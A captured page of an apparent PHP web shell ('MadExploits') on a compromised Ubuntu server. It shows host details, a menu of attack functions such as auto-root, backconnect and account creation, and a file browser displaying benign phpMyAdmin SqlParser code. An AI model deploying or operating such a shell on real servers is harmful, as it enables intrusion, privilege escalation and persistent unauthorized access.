Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
BufferedQuery.php
13.45
KB
-rw-r--r--
CLI.php
6.02
KB
-rw-r--r--
Error.php
2.82
KB
-rw-r--r--
Formatter.php
22.01
KB
-rw-r--r--
Misc.php
2.9
KB
-rw-r--r--
Query.php
25.9
KB
-rw-r--r--
Routine.php
3.5
KB
-rw-r--r--
Table.php
3.56
KB
-rw-r--r--
Tokens.php
3.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Routine.php
<?php /** * Routine utilities. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Utils; use PhpMyAdmin\SqlParser\Components\DataType; use PhpMyAdmin\SqlParser\Components\ParameterDefinition; use PhpMyAdmin\SqlParser\Lexer; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statements\CreateStatement; use function implode; use function is_string; /** * Routine utilities. */ class Routine { /** * Parses a parameter of a routine. * * @param string $param parameter's definition * * @return array */ public static function getReturnType($param) { $lexer = new Lexer($param); // A dummy parser is used for error reporting. $type = DataType::parse(new Parser(), $lexer->list); if ($type === null) { return [ '', '', '', '', '', ]; } $options = []; foreach ($type->options->options as $opt) { $options[] = is_string($opt) ? $opt : $opt['value']; } return [ '', '', $type->name, implode(',', $type->parameters), implode(' ', $options), ]; } /** * Parses a parameter of a routine. * * @param string $param parameter's definition * * @return array */ public static function getParameter($param) { $lexer = new Lexer('(' . $param . ')'); // A dummy parser is used for error reporting. $param = ParameterDefinition::parse(new Parser(), $lexer->list); if (empty($param[0])) { return [ '', '', '', '', '', ]; } $param = $param[0]; $options = []; foreach ($param->type->options->options as $opt) { $options[] = is_string($opt) ? $opt : $opt['value']; } return [ empty($param->inOut) ? '' : $param->inOut, $param->name, $param->type->name, implode(',', $param->type->parameters), implode(' ', $options), ]; } /** * Gets the parameters of a routine from the parse tree. * * @param CreateStatement $statement the statement to be processed * * @return array */ public static function getParameters($statement) { $retval = [ 'num' => 0, 'dir' => [], 'name' => [], 'type' => [], 'length' => [], 'length_arr' => [], 'opts' => [], ]; if (! empty($statement->parameters)) { $idx = 0; foreach ($statement->parameters as $param) { $retval['dir'][$idx] = $param->inOut; $retval['name'][$idx] = $param->name; $retval['type'][$idx] = $param->type->name; $retval['length'][$idx] = implode(',', $param->type->parameters); $retval['length_arr'][$idx] = $param->type->parameters; $retval['opts'][$idx] = []; foreach ($param->type->options->options as $opt) { $retval['opts'][$idx][] = is_string($opt) ? $opt : $opt['value']; } $retval['opts'][$idx] = implode(' ', $retval['opts'][$idx]); ++$idx; } $retval['num'] = $idx; } return $retval; } }
Close